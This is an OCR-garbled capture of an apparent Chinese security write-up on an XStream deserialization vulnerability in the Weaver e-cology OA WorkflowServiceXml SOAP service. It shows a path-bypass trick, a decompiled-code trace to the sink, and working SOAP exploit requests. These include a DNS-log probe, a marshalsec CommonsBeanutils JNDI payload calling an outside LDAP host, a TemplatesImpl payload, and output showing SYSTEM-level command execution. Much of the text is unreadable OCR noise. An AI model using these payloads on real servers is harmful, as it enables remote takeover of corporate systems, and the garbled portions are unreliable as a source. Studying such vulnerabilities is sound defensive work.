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POST /services%20/WorkflowServiceXml HTTP/1.1
Accept-Encoding: gzip, deflate

Content-Type: text/xml;charset=UTF-8
SOAPAction: ""

Content-Length: 19416

Host: : 192.168.190.128

User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="webservices.services.weaver.com.cn">
<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>&#x3c; &#x6a; &#X61; &#XT6; &#Xx61; &#x2e; &#XT5 ; &#xT4 ; &#x69; &#X6C ; &#x2e; &#xX50; &#X72; &#x69 ; &#x6T ; &#

X72;8&#x69 ; &#XT4; &dtXT9; &#X51 ; &EXT5 ; §# X065 ; &#XT5 ; §H#X65 ; & X205 §&#XT 3 ; &#X65 ; S XT2 ; &d#X69; §&#x61 ; &#X6C ; &#Xx69; &#xTa; &#x
61; & x74; &itx69; &t X6 T ; &dtx6e; §#tx3d; &d#x22 ; 8#x63 ; &dtxT5 ; &#txT7 3 ; &dtxT4 ; &#tx6T ; &dtx6d ; &#x22 ; &dtx3e; &#x0a; & x20; &#x20 ; &#x3
C; &#tXT5; &dtx6e ; SdtxT 3 ; &t 65 ; &#txT 2 ; &dEx69 ; &t 61 ; &#X6C; &#x69 ; &ftx7a; &#x61 ; &#X62 ; &#X6C; &#x65; &dx2d ; &#x70 ; &#x61 ; Sdx T2
s &#EX65 ; &#Ex6e ; ST 4 ; &dtxT 3 ; &#x2T ; SdEx3e; &dtx0a; &#x20 ; &#x20; &#x3C; &#x6a; &#X61 ; &#XxT76; &#X61 ; &dtx2e ; &#XT5; &#xT74; &#x69;
Sdtx6C; &dtx2e; &#x50; &dtxT2 ; &dtx69; &#X6 T ; &#xT2 ; &#x69; &#x T4 ; &dtxT9; &#x51 ; &#x 75 ; &dx65 ; &#x75 ; §&#x65 ; &dtx3e; &#x0a; &#x20; &
#x20; &#x20; &#x20 ; &#x3C; &#x64 ; §#X65 ; S#X66 ; S&#X61; S&H#XT5 ; S#X6C; &ixT 4 ; &dtx3e; &d#x0a ; &#Xx20; §&#x20; &#x20 ; &#x20 ; §&#x20; &#
X20; &#x3C; &#x73; &#x69; &#xT7a ; &#x65 ; &#x3e; &#x32; &#x3c; &#x2 T ; &dtxT7 3 ; &#x69 ; &#x7a; &#x65 ; &#x3e; &#x0a ; &#x20; &#x20 ; &#x
20; 8#x20; &d#x20; §&#x20 ; §&#x3C; &#x63 ; &#X6 T ; &#x6d ; &#xT0; S&#x61; &#XxT2 ; &dx61; &d#xT74;

X20; &#x20; &#x3C; &#x69; &#x6e; &#xT74; S#tx3e; &#x33; &#x3c; &#x2T ; &d#x69; &#tx6e ; &#xT74 ; &dtx3e; &#x0a; §#x20 ; &#x20; &i#x20 ; &i#tx
20; &#x3C; &d#x63; &#X6T ; &#X6d ; &dx2e; &#xT 3 ; &#XT5 ; Sdtx6e; &dtx2e; S#XO6T ; S#XT2 ; &d#x67 ; &#x2e; S#x61 ; &#xT70; &#x61 ; &#X63 ; &#Xx6
8; &#x65; &dtx2e ; &#xT8 ; &#x61; &#X6C; &#X61 ; & x6e; &f#x2e; &#X69 ; &#xbe ; §#XT4; &#Xx65 ; &d#xT72 ; &dtx6e; S#x61; &#x6C; S&#x2e; &#x78
s &HEXT 3 5 &#XOC; SdEXT 4 &dtx63; SdEx2e ; SdExT 4 ; SdExT 2 ; &#x61 ; &dxT 8 ; &dtx2e ; §&#x54 ; St 65 ; &#x6d ; §&#XT0; &#X6C ; &#Xx61; &#Xx74 ; &#X65;
Sdtx73; &itx49; &dtx6d ; ST 0 ; &tX6C; &#x20; &dtxT3 ; &#tX65 ; §&#x 72 ; &d#x69; &#x61 ; §&#x6C; &#x69; &#xT7a; &#x61; &d#xT4 ; &#x69; &#x6T ; &
#x6e &#x3d &#x22 &#x63 &#x75 &#x73 &#x74 &#x6f &#x6d &#x22 &#x3e,&#x0a,&#x20 &#x20 &#x20 &#XZ@ &#x20 &

0x02 itk =

RIEREABEIEE N /servicess20/WorkflowServicexml , FMEENEZE 71z OA BJ web.xml,

<service>
<namefFWorkflowServiceXml</hame>
<namespace>webservices.services.weaver.com.cn</namespace>

<serviceClass>weaver.workflow.webservices.WorkflowServiceXml</serviceClass>
<implementationClass>weaver.workflow.webservices.WorkflowServiceImplXml</implementationClass>

</service>
<service>
<name>ProjectService</name> &2 (www.anquanke.com )

%EEE]7TE9§§§ﬁU weaver.workflow.webservices.WorkflowServiceXml .
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KTENRATNE—3, PRERHEOESIER. w0 AHTARXTRER., HARMIEBENGFEE, XEZNT
T hRRAR

Request Response

Pretty @ZEVE \n  Actions v G Raw Render \n Actions v

GET /services/WorkflowServiceXml HTTP/1.1 HTTP/1.1 200 0K

Host: 127.0.0.1:8081 Date: Wed, 28 Apr 2021 02:21:52 GMT
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding

1
2
User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_202) 3
4
5 Cache-Control: private
6
7
8
9

1
2
3
4 Connection: close
5
6

HOLO3dSNI

X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1
Set-Cookie: ecology_JSessionId=abcFPZYTPqY9r5WwWw2sKx; path=/
Accept-Ranges: bytes
10 Connection: close
11 Content-Length: 168

13 <script language="'javascript's>
try{
top.Dialog.alert("3EEIPIHAwebservice, BEETIZIEK ") ;
}

catch(e){
alert("JE5%IPIHAwebservice, PRRTIZIER ") ;
¥

</script>
14

Request Response

Pretty J3ETN \n  Actions v [{GUN Raw Render \n  Actions v

1 GET /services/WorkflowServiceXml HTTP/1.1 1 HTTP/1.1 404 Not Found

2 Host: 127.0.0.1:8081 2 Date: Wed, 28 Apr 2021 02:20:52 GMT

3 User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_202) 3 Content-Type: text/html; charset=utf-8

4 Accept-Encoding: gzip, deflate 4 Content-Length: 534

5 Connection: close] 5 X-Frame-Options: SAMEORIGIN

6 6

7 7
8
9

HO.LO3dSNI

X-XSS-Protection: 1

errorMsg: securityIntercept

Set-Cookie: ecology_JSessionid=aaalyQiAGefv5bsF303Jx; path=/
Connection: close

11 <html>

12 <head>

13 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

14 </head>

15  <body style="overflow:hidden">

16 <div style="width: 450px;

17 height: 300px;

18 background: url(/images/error/404.png) no-repeat 50%;

19 top: 50%;

20 left: 50%;

21 margin: auto auto;

22 text-align: center;

23 margin-top: 100px

24 <div style="height: 30px;

25 color: #b2b2b2;

26 font-size: 22px;

27 padding-top: 170px;

28 padding-left: 200p.
IBFRERIIMTARFETE

</div>

29 </div>

30 </body>

31 </html>

RN, REROIN, T2EME, MEREIUESK,
B £ %20 i

Request Response

Pretty WEEVE \n  Actions v (EGM Raw Render \n  Actions v

1 GET /services%20/WorkflowServiceXml HTTP/1.1 HTTP/1.1 200 OK

2 Host: 127.0.0.1:8081 Server: Resin/3.1.8

3 User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_202) Cache-Control: private

4 Connection: close X-Frame-Options: SAMEORIGIN
5

6

HOLO3dSNI

X-XSS-Protection: 1

Set-Cookie: ecology_JSessionId=abczuarTXlgjtaG723sKx; path=/
Content-Type: text/html; charset=UTF-8

Connection: close

Date: Tue, 27 Apr 2021 10:28:23 GMT

10 Content-Length: 47

POOONOUAWNE

12 <

>
<body>
Invalid SOAP request.

</html>
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0x03 f@/EaY sink

RIEX response AJAE £IX N 1ZE—1 soap xml JEN, BfRE XMLDecoder. XStream sy & EAM(TA4, BI5E

weaver.workflow.webservices.WorkflowServiceXml . weaver.workflow.webservices.WorkflowServiceImplXml .

%5’6 ?ﬁ%% weaver.workflow.webservices.WorkflowServiceXml

WorkflowServiceXml.class - Java Decompiler

e
Y
4
L 3

oo Tepuit kr
> 8 request
> ruleDesign public abstract WorkflowRequestlog[] getWorkflowRequestLogs(String paramStringl, String paramString2, int paramIntl, int paramInt2, int paramInt3)
> 1 search throws Exception;
> fi} selectitem public abstract String forwardworkflowRequest(int paramIntl, String paramStringl, String paramString2, int paramInt2, String paramString3);
> sysPhrase
public abstract int getCreateworkflowCount(int paramIntl, int paramInt2, String[] paramArray0fString);
> g ty f i i (i i 0o )
ransfer
> m updates public abstract int getCreateWorkflowTypeCount(int paramInt, String[] paramArrayOfString);
v 1 webservices public abstract String getLeaveDays(String paramStringl, String paramString2, String paramString3, String paramStringd, String paramStrings);
> WorkflowBaselnfo.class public abstract String[] getWorkflowNewFlag(String[] paramArray0fString, String paramString);
> WorkflowDetailTablelnfo.class
. public abstract boolean deleteRequest(int paramIntl, int paramInt2);
> WorkflowMainTablelnfo.class
v WorkflowRequestInfo.class public abstract void writeWorkflowReadFlag(String paramStringl, String paramString2);
» (3 WorkflowRequestinfo public abstract String submitWorkflowRequest(String paramStringl, int paramIntl, int paramInt2, String paramString2, String paramString3);
> WorkflowRequestLog.class public abstract String doCreateWorkflowRequest (String paramString, int paramInt);
»> WorkflowRequestTableField.class
ublic abstract String getCreateWorkflowRequestInfo(int paramIntl, int paramInt2);
»> WorkflowRequestTableRecord.class P 9 9 9 pe P
> WorkflowService.class public abstract String getWorkflowRequestdsplit(int paramIntl, int paramInt2, int paramInt3, int paramIntd);
> WorkflowServicelmpl.class public abstract String[] getCreateWorkflowList(int paramIntl, int paramInt2, int paramInt3, int paramInt4, int paramInts, String[] paramArray0fString); -
public abstract String[] getCreateWorkflowTypeList(int paramIntl, int paramInt2, int paramInt3, int paramInt4, String[] paramArray0fString);
> WorI;::owServucelmp:Secl.cIIass : u a : : : 0 )
»> WorkflowServicelmplXml.class
> WorkflowServiceUtiLcIass public abstract String[] getCCWorkflowRequestList(int paramIntl, int paramInt2, int paramInt3, int paramInt4, String[] paramArrayOfString);
B WorkflowServiceXml.class public abstract String[] getProcessedWorkflowRequestList(int paramIntl, int paramInt2, int paramInt3, int paramIntd, String[] paramArrayfString);
> fuh XmiUtil.class public abstract String[] getMyWorkflowRequestList(int paramIntl, int paramInt2, int paramInt3, int paramIntd, Stringl] paramArray0fString);
>
E $ vlv(or:(flow | public abstract String[] getHendledworkflowRequestList(int paramIntl, int paramInt2, int paramInt3, int paramInt4, String[] paramArray0fString);
> workrelate.uti
> m workspace public abstract String[] getToDoWorkflowRequestList(int paramIntl, int paramInt2, int paramInt3, int paramIntd, String[] paramArrayOfString);
» 1 worktask public abstract String getWorkflowRequest(int paramIntl, int paramInt2, int paramInt3);
> wsclient public abstract String[] getAllWorkflowRequestList(int paramIntl, int paramInt2, int paramInt3, int paramInt4, String(] paramArray0fString);
» Ty Constants.class i
> 1 wscheck
Find: C | £ Next i Previous Case sensitive 52
NI+ =Z \y = A~ K PO N I:t 7 £
PILUEFREIXE—Mr0OE, H "J37A doCreateWorkflowRequest LR PJ%E,
NV N =
. . N <
75 weaver.workflow.webservices.WorkflowServiceImplxml &E&E X ERISEH],
[ JOX ) WorkflowServicelmplXml.class - Java Decompiler
ERN-E AR 4
= repurt
i 52 oy
- reques 4 Workflowservicexmi.class 1
> 4 ruleDesign ¥
23652  if ("1".equals(str7)) {
> g search 2366 localWorkflowRequestInfo. setNeedAffirmance(true);
> selectitem = Yelse{
> E sysPhrase 2368 localWorkflowRequestInfo.setNeedAffirmance(false);
}
» 1 transfer %g;%
» {1 updates 2374
v H} webservices 2375 }ocamecordSetl.:mmm;(“workf\w,kequestLog,sBuser", "4 strS + €2 + " 4 paramIntl + €2 + " 4+ n + €2 + "1");
2376 if (localRecordSetl.next())
> WorkflowBaselnfo.class e
> L WorkflowDetailTableinfo.class B7p e e st e
> WorkflowMainTablelnfo.class 2379 , str8 = str8.replaceAll("initFlashVideo;", ");
¥ {uh WorkflowRequestinfo.class 2382 localiorkflowRequestInfo.setRemark(strs);
» (@ WorkflowRequestinfo 2383 String str9 = this.xnlutill.objToXnl(localWorkflowRequestInfo);
2384 return str9;
> WorkflowRequestLog.class 3y
» Tuh WorkflowRequestTableField.class public String BOCRESEHOTKTLGMREGUESE (trin
» {up WorkflowRequestTableRecord.class =«
" t
» i WorkflowService.class s
> Tah WorkflowServicelmpl.class 2394 Workf Info localWorkf Info = (Workf Info)this.xmlutill. xnlToObj anString)
. 2395 RequestInfo localRequestInfo = toRequestInfo(localWorkflowRequestInfo);
» Tuh WorkflowServicelmplSec.class 2396 return this. requestService.ci loca Info);
> :
@’ WorkflowServicelmplXml.class catch (Exception localException)
> uh WorkflowServiceUtil.class -
. 2398 localException.printStackTrace() ;
> WorkflowSeNlceXmI.cIass 2399 writelog(localException);
> fub XmlUtil.class b
» & workflow 2401 return nat; B
}
» f1 workrelate.util . . . . . . .
N m workspace ;{auhu: String[] getToDoWorkflowRequestList(int paramIntl, int paramInt2, int paramInt3, int paramInt4, String[] paramArrayOfString)
2412 if (paramiIntl < 1) {
” g W°"'I“35k 2413 paranInt1 = 1;
> wsclient !
2414 String strl = " select distinct ";
> Constants.class = ring str setect distine
» % wscheck
Find: | doCreateWorkflowRequest C | i Next {;| Previous Case sensitive 53

PEIRIFER
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® [ ] XmlUtil.class - Java Decompiler
B @y D
Do e Tub WorkflowServiceXml.class 2 ful WorkflowServicelmplXml.class &%
» {1 request 4 . : . =
» 1 ruleDesign 05 local. .printstackirace();
> f search i catch (Illegal ion locallllegal ion)
> @
i selectitem 70 localIllegalAccessException. printStackTrace();
» {1 sysPhrase ¥
R =
> £ transfer 73 return localXStream;
> £ updates b
v {3 webservices

public void aliasAtt(XStream paramXStream, Class paramClass)
> WorkflowBaselnfo.class e

i 84=  if (null = paranClass) {
» Tuh WorkflowDetailTablelnfo.class 85 return;
> WorkflowMainTablelnfo.class 89 paranXStrean. alias(paranClass.getSinpleNane(), paranClass);
v WorkflowRequestinfo.class gg Field[] arrayOfField = paramClass.getDeclaredFields();
@ for (int i = 0; i < arrayOfField.length; i++) {
;G WorkflowRequestinfo 93 paramXStream. aliasField(arrayOfField[i].getNane(), paranClass, arrayOfField[il.getNane());
> {uh WorkflowRequestLog.class
X }

> WorkflowRequestTableField.class
> % WorkflowRequestTableRecord.class o eLicIoblece IR (String paranstring)
> {ub WorkflowService.class 103 oML (paranString) ;
> WorkflowServicelmpl.class
> WorkflowServicelmplSec.class B guhlic String objToXml(Object paramObject)
> WorkflowServicelmplXml.class 112 return xs. toXML(paranObject) ;
> WorkflowServiceUtil.class )
> Tuh WorkflowServiceXml.class public static List readFile(String paramString)

i e {
> XmlUtil.class 128 TocalArrayList = new ArrayList();

> H# workflow

> Krel il 130 FileInputStream localFileInputStream = null;
# workrelate.uti 131 InputStreanReader locallnputStreanReader = null;
» £ workspace 132 BufferedReader localBufferedReader = null;
try
> worktask e
> 3 wsclient 135 localFileInputStream = new FileInputStream(paramString);
» uy Constants.class 137 localInputStreanReader = new InputStreamReader(localFileInputStream);
» 1 wscheck
Find: doCreateWorkflowRequest | Next | Previous Case sensitive P

XN xs MFEERFXARA? BE xs 871 1E, —M Java AIBEREXERBXXHRLT.

[ JON ) XmlUtil.class - Java Decompiler
B ®Fioe
5 Teport - -
1ub WorkflowServiceXml.class &2 ) WorkflowServicelmplXml.class &2
> £ request
» £ ruleDesign package weaver.workflow.webservices; =
> £ search = impor| com. thoughtworks.xstream.XStream;
> i selectltem impor .
import java.io.FileInputStream;
> i sysPhrase import java. io. TOException;
> f transfer import java. io. InputSt reanReader;
import java.io.PrintStream;
» {1 updates import java.lang.reflect.Field;
v : import java.util.ArrayList;
=:] ;ebserrﬁes ol import java.util.List;
» 1{ub WorkflowBaselnfo.class
. blic class XmlUtil
> 1 WorkflowDetailTablelnfo.class St
» {us WorkflowMainTablelnfo.class 20 private statid XStrean ¥§ = null;
22 private static XnlWtil xmWtil = null;
v WorkflowRequestinfo.class
» (@ WorkflowRequestinfo o Privataiauitile)
> WorkflowRequestLog.class try
; e
> fup WorkflowRequestTableField.class 28 ArrayList localArrayList = new ArrayList();
> WorkflowRequestTableRecord.class 29 localArrayList.add("weaver.workf low. webservices. Workf lowRequestInfo") ;
> {up WorkflowService.class 32 xs = alias(localArrayList);
> WorkflowServicelmpl.class : .
= catch (ClassNotl ion localClassNot! ion)
> WorkflowServicelmplSec.class El
B WorkflowServicelmplXml.class 34 . localClassNotFoundException. printStackTrace() ;
> WorkflowServiceUtil.class 3
> WorkflowServiceXml.class public static synchronized Xmltil getInstance()
[ XmlUtil.class = 1
448  if (null = xawtil) {
> f workflow 45 xmWUtil = new XmlWtil();
» 1 workrelate.util 48 zmm .
» f3 workspace ¥
> 3 worktask public XStream alias(List paramList)
> 3 wsclient throws ClassNotFoundException
> b Constants.class 60 XStream localiStream = new XStrean();
21 o2 g 4 e
> 1 wscheck
Find: doCreateWorkflowRequest $ 4| Next ;| Previous Case sensitive &

B xs £ xstrean HINS, HHENEMFERSHYE—PIRT,
0x04 E2 & SOAP 4 Payload

BEARTE T sink =, P—HBER POC RIEE T, JlAE SOAP EARIRIR,
RIERR R 200 & P] AURE &K SOAP JB BUMEM AR EZ XY,

<soapenv:Envelope xmins:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmins:web="webservices.services.weaver.com.cn">

https://www.anquanke.com/post/id/239865 4/13


https://p4.ssl.qhimg.com/t0116ffc08d7561ef00.png
https://p1.ssl.qhimg.com/t01ca85e6b5027391bf.jpg

2021/5/15

<soapenv:Header/>

<soapenv:Body>

<web:doCreateWorkflowRequest>

<web:string></web:string>

<web:string>2</web:string>

</web:doCreateWorkflowRequest>

</soapenv:Body>

</soapenv:Envelope>

FE— N EAIEIA

HVV{7 82 {ZZOA BV 2

Request

HEGN Raw  \n  Actions v

©CONOUIAWN

10
11
12

13
14

15
16

POST /services%20/WorkflowServiceXml HTTP/1.1
Host: 127.0.0.1:8081

User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_202)
Connection: close

Content-Type: text/xml;charset=UTF-8

Content-Length: 347

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.w

<soapenv:Header/>
<soapenv:Body>
<web:doCreateWorkflowRequest>
<web:string>
</web:string>
<web:string>
2

</web:string>
</web:doCreateWorkflowRequest>
</soapenv:Body>
</soapenv:Envelope>

IOUERLIN,
& M2 T gadget T,
HFHSERERE, RAEZH githud JRIE, RNEEMAE gadget, FofEA URLDNS 1did,

<map>

<entry>

<url>http://1xsz12.dnslog.cn</url>

<string>http://1xsz12.dnslog.cn</string>

</entry>

</map>

HEHA
XEDREISLRRISER, FEAMABRSEERRIEE T .

TR

https://www.anquanke.com/post/id/239865

Response

({EGN Raw Render  \n Actions v

HTTP/1.1 200 0K

2 Server: Resin/3.1.8

3
4
5
6
7
8

Cache-Control: private

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1

Set-Cookie: ecology_JSessionId=abco78tCnWeVFbOUY8sKx; path=/
Content-Type: text/xml; charset=UTF-8

Connection: close

9 Date: Tue, 27 Apr 2021 10:49:56 GMT

10
11

12

Content-Length: 364

<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.0rg/2001/XMLScl
<soap:Body>
<nsl:doCreateWorkflowRequestResponse xmlns:nsl="webservices.services.weaver.com.cn">
<nsliout xsi:nil="true">
</nsl:out>
</nsl:doCreateWorkflowRequestResponse>
</soap:Body>
</soap:Envelope>

HO.LO3dSNI
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Request

ZEs Raw  \n Actions v

Ri
1 POST /services%20/WorkflowServiceXml HTTP/1.1 1
2 Host: 127.0.0.1:8081 2
3 User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_202) 3
4 Connection: close 4
5 Content-Type: text/xml;charset=UTF-8 5
6 Content-Length: 347 6
7 7
8 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.w 8
9 <soapenv:Header/> 9
10  <soapenv:Body> 10
11 <web:doCreateWorkflowRequest> 11
12 <web:string> 12
13 <map=>
14 <entry>
15 <u Scan
</ Do passive scan
16 <s .
Do active scan
</ Send to Intruder ~ %8l
17 </en
18 </map> Send to Repeater ~#¥R
</web:st
19 <web:sth Send to Sequencer
2 Send to Comparer
</web:st
20 </web:docr|  SendtoDecoder
21 </soapenv:Bo| Show response in browser
22 </soapenv:Enve )
Request in browser >
Extensions >
Engagement tools >
Change request method
Change body encoding
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Save entire history

Paste URL as request

Add to site map |

Convert selection > URL >

URL-encode as you type HTML > HTML-decode ~{+3H
Cut ~#8X | Base64 > HTML-encode key characters ~8H
Copy ~$C Construct string > HTML-encode all characters

/5 dnslog A INULEINE K,
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[ Get SubDomain ] | Refresh Record

1xsz12.dnslog.cn

DNS Query Record IP Address

1xsz12.dnslog.cn 112.25.12.139

Dashboard Target Proxy Intruder Repeater Sequencer Decoder
1 x 2 x 3 x 4 x 5 x 6 x 7 x
21 x 22 x 23 x 24 x 25 x 26 x 27 x 28 x

Raw \n Actions v

POST /services%20/WorkflowServiceXml HTTP/1.1

Host: 127.0.0.1:8081

User-Agent: Apache-HttpClient/4.5.13 (Java/1.8.0_202)
Connection: close

Content-Type: text/xml;charset=UTF-8

Content-Length: 1003

CONOUAWNR

<soapenv:Header/>
10  <soapenv:Body>]

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.w

azy
Created Time
2021-04-28 11:02:26
Burp Suite Professional v2021.4 - Temporary Project - licensed to j&7k)||l&
Comparer Logger Extender Project options User options ShiroScan Fastjson scan Fastjson
8 x 9 x 10 x 11 x 12 x 13 x 14 x 15 x 16 x

29 x 30 x 31 x 32 x 33 x 34 x 35 x 36 x 37 x 38 x :

Raw \n  Actions v

HTTP/1.1 200 OK

Server: Resin/3.1.8

Cache-Control: private

X-Frame-Options: SAMEORIGIN

X-XSS-Protection: 1

Set-Cookie: ecology_JSessionId=abcGtDulda97-4TaP-sKx; path=/
Content-Type: text/xml; charset=UTF-8

Connection: close

Date: Tue, 27 Apr 2021 11:02:23 GMT

10 Content-Length: 364

CEONOUAWNE

11 <web:doCreateWorkflowRequest> 11
12 <web:string> 12 <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/env
13 &Lt; &#109;&#97 ; &#112; 89t ; &#13; &#10; &4#32; &4#32; &1t ; &#101; &#110; &#116; &#114;&#121; &gt ; &#13; &#10; &#32; &#. <soap:Body>

0; &1t; &#47 ; &#115; &#116; &#114; &#105; &#110; &#103; &gt ; &#13; &#10; &#32; &#32; &1t ; &#47 ; &#101; &#110; &#116 ; &t

</web:string>
14 <web:string>
2

</web:string>
15 </web:doCreateWorkflowRequest>
16  </soapenv:Body>
17 </soapenv:Envelope>

L EMBAY gadget? Eball CommonsBeanutils # jndi 3N ?

<nsl:doCreateWorkflowRequestResponse xmlns:nsl="webservice:
<nsl:out xsi:inil="true">
</nsl:out>
</nsl:doCreateWorkflowRequestResponse>
</soap:Body>
</soap:Envelope>

java —cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://h73xu6.dnslog.cn/a >

cbu.xml

o000 xue@Shimizu: ~/Documents/NetSafe/Tools/JavaTools

xue@Shimizu cat cbu.xml
<java.util.PriorityQueue serialization="custom">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class="org.apache.commons.beanutils.BeanComparator">
<property>databaseMetaData</property>
<comparator class="java.util.Collections$ReverseComparator"/>
</comparator>
</default>
<int>3</int>
<com.sun. rowset.JdbcRowSetImpl serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>1ldap://h73xu6.dnslog.cn/a</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com. sun. rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>

SIS)SE I AnR
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> chdir
d:\WEAVER\Res1in

> whoami

nt authority\system

[ www.anquanke.co

0x05 marshalsec #1 ysoserial BIBXIA

KEFD AEFIE marshalsec HHI—RR INDI fRFB2sW TR, ESXEHAEEMINGE, LU RL XStream 89 payload 7t
Bar,

T T marshalsec NER gadget REEZEEZ LN, X— 2/ LB ARKFEHRX PNTEFTNENLHEKR, FELN
payload AR 2 LR FEEEZAEER, BFAREA ysoserial W%TI\ =BH WY gadget, BIAGEEFRFNG? HoARI LA

AN =

FE—" idea INE, ¥ marshalsec 1 ysoserial #5| X\ classpath TEN#kE, AfFEE marshalsec.XStream | =2
tAE,

[ X J XStreamPOC [~/XStreamPOC] - .../src/main/java/marshalsec/XStream.java
5 HS <« XStream ¥ G Q : S s 0 Q
g XStreamPOC ) I src ) Il main java ) B marshalsec

[&] Project v 4 CommonsBeanutils.class

¥ 1: Project

Iy aj.org.objectweb.asm e
B com
B edu.umd.cs.findbugs.annotations
By flex

I groovy

M groovyjarjarantir

By groovyjarjarasm.asm

XStream MarshallerBase<String> CommonsConfiguration, Rome, CommonsBeanutils, ServicelLoader, ImageIO, BindingEnumeration, LazySe¢
XStream() {

2. 7: Structure

#groovyjarjarct?mmonscll String marshal(Object o) {

]!ava,clup,runtlme com. thoughtworks.xstream.XStream xs = com. thoughtworks.xstream.XStream()
By javassist xs.toXML(o)

By javax

By license

I marshalsec Object unmarshal(String data) {

com. thoughtworks.xstream.XStream xs = com. thoughtworks.xstream.XStream()

V Iy gadgets
xs. fromXML (data)

4 Args
4 BindingEnumeration
4 C3PORefDataSource
4 C3P0OWrapperConnPool
4 ClassFiles
4 CommonsBeanutils
4 CommonsConfiguration main(String[]l args) { ( XStream()).run(args)
4 Gadget
4 GadgetType
4 Groovy
4 ImagelO
4 JdbcRowSet
3 JOKUtIl
4 LazySearchEnumeration
4 MockProxies
& Primary
4 Resin
4 ResourceGadget
4 Rome

Object makeComparatorTrigger(Object tgt, Comparator<?> cmp) Exception {
JDKUtil.makePriorityQueue(tgt, cmp)

& ScriptEngine
4 ServiceLoader
4 SpringAbstractBeanFactoryPointcutAdvisor
& SpringPartiallyComparableAdvisorHolder
& SpringPropertyPathFactory

¢ 4 SpringUtil
4 Templates
4 TemplatesUtil
4 ToStringUtil
4 UnicastRefGadget
4 UnicastRemoteObjectGadget

I% JavaEnterprise @) Spring B 4:Run = 6:TODO [ 9: Version Control Terminal 4 Build QEvent Log

% 2: Favorites

(m]

Allfiles are up-to-date (13 minutes ago)

https://www.anquanke.com/post/id/239865

ueren 3 100 %  eseqeied (1 dsr B

wy s

441 LF UTF-8 4spaces Gitsmasiesnqmkecd)
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X425 5 marshalsec.gadgets.CommonsBeanutils Y makeCommonsBeanutilsINDI /)%,
XE L URLDNS {E 9254

package marshalsec.gadgets;

import java.util.Collections;

import marshalsec.UtilFactory;

import marshalsec.util.Reflections;

import org.apache.commons.beanutils.BeanComparator;

import ysoserial.payloads.URLDNS;

public interface CommonsBeanutils extends Gadget {
@Primary
@Args(
minArgs =1,
args = {"jndiUrl"},
defaultArgs = {"{exploit.jndiUrl:Idap://localhost:1389/0obj}"}
)
default Object makeCommonsBeanutilsJNDI(UtilFactory uf, String... args) throws Exception {
URLDNS urldns = new URLDNS();
Object object = urldns.getObject(args[0]);

return object;

X EER ysoserial B9t gadget, REBEEFE—"TET1% gadget IR, ([FHE getObject 7 iABIA,
LA ELSL 7 ERNEAN, A UAMAESMTESEESFERE, BTFE8RAREREL%IZEE 10s, BIRE
response B[B]BIR] i, XNARZFZZRH T EIBE, 7 ARETENTM poc,

StartBurp Burp Project Intruder Repeater Window Help IBFEO L AD A B B 4 0 B ¢ 3 = S & 4H27H A= T410:20
ct - licensed to ;&7K)|| I (-]
User options FastJsonScan

XStream Store as project file

v ol diecan

nsBeanutils" "sleep-check-10"

directory: [Users/x' ,\deaProjects/Test

ionid+aaao7RFF_niUqf80ivfHx; path=/ nent variables:
Tarset=UTF-8

lope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd: t W.w3.0rg/2001/XMLSc QD (¢ Gl il el i it
ly>

[CreateWorkflowRequestResponse xmlns:ns]="http://webservices.workflow

out xsi:nil="true"> verage

out>

oCreateWorkflowRequestResponse> s and classes to/ .clude in coverage data

halsec.*

Q
g
8
-
g
g

Cancel

0.matches.
648 bytes | 10,149 millis
<unserial

<java.util.
<default>

BIRLE, FEMAINEE? LEANE webshell, A1F shell. BIEF, 1EHEE BT, XBEFHREBHBE,
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0x06 REMNFER

BIHERE, BRIERRERIRN RS2 T 7 IE? TRES.

1

IO NOURWNROOUONOUAWNROOONOUAWNROAOVUONOURWNROUOUOINOUAWNRPOOO~NNOUAWN

!

<java.util.PriorityQueue serialization="custom'">
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparat
x20; <int>3</int>
<com.sun.org.apache.xalan. internal.xsltc.trax.TemplatesImpl serialization="custom">
&#
x20; <int>3</int>
<com.sun.org.apache.xalan. internal.xsltc.trax.TemplatesImpl serialization="custom">
&#
1; XQ+AQADKCTWAQAEQ29kZQEAD@xpbmV0dW11iZXJUYWIsZQEAEKkxVY2FsVmFyaWF ibGVUYW] s ZQEABHRoaXMBABNMUmVzaW4vTGInaW5Gaw
